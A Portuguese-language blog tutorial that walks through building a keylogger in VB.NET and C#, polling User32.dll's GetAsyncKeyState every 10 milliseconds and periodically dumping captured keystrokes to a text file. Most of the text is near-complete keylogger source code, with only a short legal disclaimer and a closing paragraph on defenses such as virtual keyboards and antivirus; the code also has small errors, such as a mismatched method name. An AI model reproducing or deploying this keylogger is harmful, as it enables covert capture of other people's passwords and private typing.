Hoje em dia, neste vasto mundo virtual em que vivemos, principalmente para nós desenvolvedores, precisamos lidar com as inúmeras pragas que atormentam a todos, tentando roubar informações preciosas, tais como senhas, de nossos computadores.
O keylogger é um tipo de código gerado para capturar as teclas digitadas no computador, muitos desses softwares são aperfeiçoados pelos programadores para que atuem de forma invisível ao usuário. Alguns desses keyloggers trazem um sistema chamado desktop viewer, cuja funcionalidade é monitorar tudo que a vítima faz.
Este tipo de software utiliza a DLL “USER32.dll” para detectar quando uma key (chave) do teclado foi pressionada ou despressionada. Uma variável é declarada para recuperar as 256 chaves possíveis de serem pressionadas, e tudo é gravado em uma espécie de array, quando um intervalo declarado pelo programador é disparado, esse array é gravado em um arquivo de texto, ou enviado para um e-mail.
Então vamos aprender como fazer isso, e como se proteger deste malicioso programa.
so para lembrar:
OBS: Eu desencorajo qualquer um de tentar monitorar um computador que não te pertence ou que não tenha permissão daquele que é proprietário da máquina. Isso é ILEGAL e as punições para este CRIME são severas!
Vamos ao trabalho:
Primeiramente, inicie o visual studio 2005, ou a versão express da mesma. Crie um novo projeto Windows application tanto para visual basic quanto para C# (estarei mostrando para ambas as linguagens).
Adicione uma classe ao projeto, em meu exemplo se chama keylogger.vb ou no caso de estar utilizando a linguagem C#, keylogger.cs .
Inicialmente importe as classes a seguir:
System.Runtime.InteropServices (para utilizar a dll user32.dll);
System.IO;
System.Windows.Forms (para a variável vKey responsavel por armazenar todas as 256 possíveis teclas ou sequencias de teclas a serem digitadas).
Depois de importar as namespaces vamos declarar as variáveis e funções que completaram nosso sistema.
VB:
Public Class Keylogger
A funcao GetAsyncKeyState determina se uma chave está
Pressionada ou despressionada na hora que esta função
é chamada e se a chave foi pressionada após uma
uma chamada prévia a GetAsyncKeyState
Private Declare Function GetAsyncKeyState Lib "User32.dll" (ByVal vKey As System.Windows.Forms.Keys) As Short Enumeração das chaves
Private Declare Function GetAsyncKeyState Lib "User32.dll" (ByVal vKey As Integer) As Short
Private keyBuffer As System.String armazena as chaves detectadas.
tempo para verificação de chave pressionada.
Private TimerKeyMine As System.Timers.Timer
tempo para liberar o buffer e salva-lo em um arq .txt .
Private TimerBufferFlush As System.Timers.Timer
C#:
public class Keylogger
{
// A funcao GetAsyncKeyState determina se uma chave está
// Pressionada ou despressionada na hora que esta função
// é chamada e se a chave foi pressionada após uma
// uma chamada prévia a GetAsyncKeyState.
[DllImport("User32.dll")]
private static extern short GetAsyncKeyState(
System.Windows.Forms.Keys vKey); // Enumeração das chaves
[DllImport("User32.dll")]
private static extern short GetAsyncKeyState(
System.Int32 vKey);
// armazena as chaves detectadas.
private System.String keyBuffer;
// tempo para verificação de chave pressionada
private System.Timers.Timer timerKeyMine;
// tempo para liberar o buffer e salva-lo em um arq .txt .
private System.Timers.Timer timerBufferFlush;
Agora vamos inserir as propriedades para esta classe: (as explicações de cada um vem detalhada no código abaixo).
VB:
Properties
Enabled: Com essa propriedade podemos desativar/ativar o
funcionamento da classe.
Public Property Enabled() As System.Boolean
Get
Return TimerKeyMine.Enabled And TimerBufferFlush.Enabled
End Get
Set(ByVal value As System.Boolean)
TimerKeyMine.Enabled = TimerBufferFlush.Enabled = value
End Set
End Property
FlushInterval: Um double que armazena o intervalo
onde dentro desse intervalo a funcao armazena as chaves
e ao final do mesmo ela o grava, neste exemplo, num
arquivo .txt .
Public Property FlushInterval() As System.Double
Get
Return TimerBufferFlush.Interval
End Get
Set(ByVal value As System.Double)
TimerBufferFlush.Interval = value
End Set
End Property
MineInterval: propriedade q armazena o tempo
para verificação de alguma chave ser pressionada
Public Property MineInterval() As System.Double
Get
Return TimerKeyMine.Interval
End Get
Set(ByVal value As System.Double)
TimerKeyMine.Interval = value
End Set
End Property
C#:
// Properties
// Enabled: Com essa propriedade podemos desativar/ativar o
// funcionamento da classe.
public System.Boolean Enabled
{
get
{
return timerKeyMine.Enabled && timerBufferFlush.Enabled;
}
Set
{
timerKeyMine.Enabled = timerBufferFlush.Enabled = value;
}
}
// FlushInterval: Um double que armazena o intervalo
// onde dentro desse intervalo a funcao armazena as chaves
// e ao final do mesmo ela o grava, neste exemplo, num
// arquivo .txt .
public System.Double FlushInterval
{
get
{
return timerBufferFlush.Interval;
}
set
{
timerBufferFlush.Interval = value;
}
}
// MineInterval: propriedade q armazena o tempo
// para verificação de alguma chave ser pressionada
public System.Double MineInterval
{
get
{
return timerKeyMine.Interval;
}
set
{
timerKeyMine.Interval = value;
}
}
Agora escreveremos o Construtor e depois os métodos e de armazenar as chaves digitadas pelo usuário e de gravar o arquivo de texto com o buffer.
VB:
Grava o buffer em um arquivo .txt
Public Sub FlushToFile(ByVal file As String, ByVal append As Boolean)
Try
Dim sw As StreamWriter = New StreamWriter(file, append)
sw.Write(keyBuffer)
sw.Close()
keyBuffer = ""
Catch ex As Exception
Throw ex
End Try
End Sub
Evento disparado quando o intervalo da variável
timerkeymine expirar. Armazena a chave na variável KeyBuffer.
Private Sub timerKeyMine_Elapsed(ByVal sender As Object, ByVal e As System.Timers.ElapsedEventArgs)
For Each i As System.Int32 In System.Enum.GetValues(GetType(Keys))
If GetAsyncKeyState(i) = -32767 Then
keyBuffer += System.Enum.GetName(GetType(Keys), i) + " "
End If
Next
End Sub
Evento disparado quando o intervalo da variável
timerBufferFlush expirar.
Private Sub timerBufferFlush_Elapsed(ByVal sender As Object, ByVal e As System.Timers.ElapsedEventArgs)
chama o método FlushtoFile com o nome do arquivo txt
a ser salvo.
FlushToFile("c:\KeyloogerLog.txt", True)
End Sub
Construtor da classe
Public Sub New()
keyBuffer = ""
Instancia a variável timerkeymine
Me.TimerKeyMine = New System.Timers.Timer
Me.TimerKeyMine.Enabled = True
Indica que o método TimerKeyMine_Elapsed
como evento de expiração da variavel
TimerKeyMine
AddHandler TimerKeyMine.Elapsed, AddressOf
Me.timerKeyMine_Elapsed
Me.TimerKeyMine.Interval = 10
Instancia a variável TimerBufferFlush
Me.TimerBufferFlush = New System.Timers.Timer
Me.TimerBufferFlush.Enabled = True
Indica que o método TimerBufferFlush_Elapsed
como evento de expiração da variavel
TimerBufferFlush
AddHandler TimerBufferFlush.Elapsed, AddressOf
Me.timerBufferFlush_Elapsed
Me.TimerBufferFlush.Interval = 1800000 30 minutos
End Sub
C#:
// Grava o buffer em um arquivo .txt
public void FlushToFile (string file, bool append)
{
try
{
StreamWriter sw = new StreamWriter(file, append);
sw.Write(keyBuffer);
sw.Close();
keyBuffer = "";
}
catch
{
throw;
}
}
// Evento disparado quando o intervalo da variável
// timerkeymine expirar. Armazena a chave na variável KeyBuffer.
private void timerKeyMine_Elapsed(object sender,
System.Timers.ElapsedEventArgs e)
{
foreach(System.Int32 i in Enum.GetValues(typeof(Keys)))
{
if(GetAsyncKeyState(i) == -32767)
{
keyBuffer += Enum.GetName(typeof(Keys), i) + " ";
}
}
}
// Evento disparado quando o intervalo da variável
// timerBufferFlush expirar.
private void timerBufferFlush_Elapsed(object sender,
System.Timers.ElapsedEventArgs e)
{
// chama o método FlushtoFile com o nome do arquivo txt
// a ser salvo.
Flush2File(@"c:\KeyloogerLog.txt", true);
}
// Construtor
public Keylogger()
{
keyBuffer = "";
// Instancia a variável timerkeymine
this.timerKeyMine = new System.Timers.Timer();
this.timerKeyMine.Enabled = true;
// Indica que o método TimerKeyMine_Elapsed
// como evento de expiração da variavel
// TimerKeyMine
this.timerKeyMine.Elapsed += new
System.Timers.ElapsedEventHandler(this.timerKeyMine_Elapsed);
this.timerKeyMine.Interval = 10;
// Instancia a variável TimerBufferFlush
this.timerBufferFlush = new System.Timers.Timer();
this.timerBufferFlush.Enabled = true;
// Indica que o método TimerBufferFlush_Elapsed
// como evento de expiração da variavel
// TimerBufferFlush
this.timerBufferFlush.Elapsed += new
System.Timers.ElapsedEventHandler(this.timerBufferFlush_Elapsed);
this.timerBufferFlush.Interval = 1800000; // 30 minutos
}
Com isso terminamos nossa classe e podemos inserir o código de load do Form1. Entre no evento de load do único formulário (form1.vb / form1.cs) presente no projeto e digite o código abaixo:
VB:
Private Sub Form1_Load(ByVal sender As Object, ByVal e As System.EventArgs) Handles Me.Load
Dim kl As Keylogger = New Keylogger
kl.Enabled = True
logo abaixo, indico o Intervalo para a gravação do
buffer em meu arquivo de texto de 1800000 que
equivale a 30 minutos para 80000 (1m e 33s).
kl.FlushInterval = 80000
End Sub
C#:
private void Form1_Load(object sender, EventArgs e)
{
Keylogger kl = New Keylogger;
Kl.Enabled = True;
// logo abaixo, indico o Intervalo para a gravação do
// buffer em meu arquivo de texto de 1800000 que
// equivale a 30 minutos para 80000 (1m e 33s).
Kl.FlushInterval = 80000;
}
Basta saber como funciona para implementar uma aplicação de segurança, como por exemplo, um teclado virtual onde a dll será incapaz de saber o que ta escrito pois o mouse funcionará como o teclado, clicando nas letras que deseja digitar, assim funciona a segurança de muitos dos bancos quando o usuário vai digitar sua senha.
As soluções de segurança de um sistema operacional não conseguem facilmente impedir o acesso a esse tipo de código, por isso é essencial o uso de um bom anti-vírus e bem atualizado, pois o mesmo considera o código, na hora do escaneamento, como um vírus, spyware ou coisa do tipo, dependendo do que mais o código faz.
Bom, é isso ai, espero que tenham gostado de meu primeiro artigo, agora é so rodar o programa, entrar em seu e-mail, por exemplo, e após um tempo o arquivo de texto estará preenchido com todos as teclas digitadas enquanto o programa estiver rodando.
Muito obrigado pessoal e ate a próxima;
Danillo.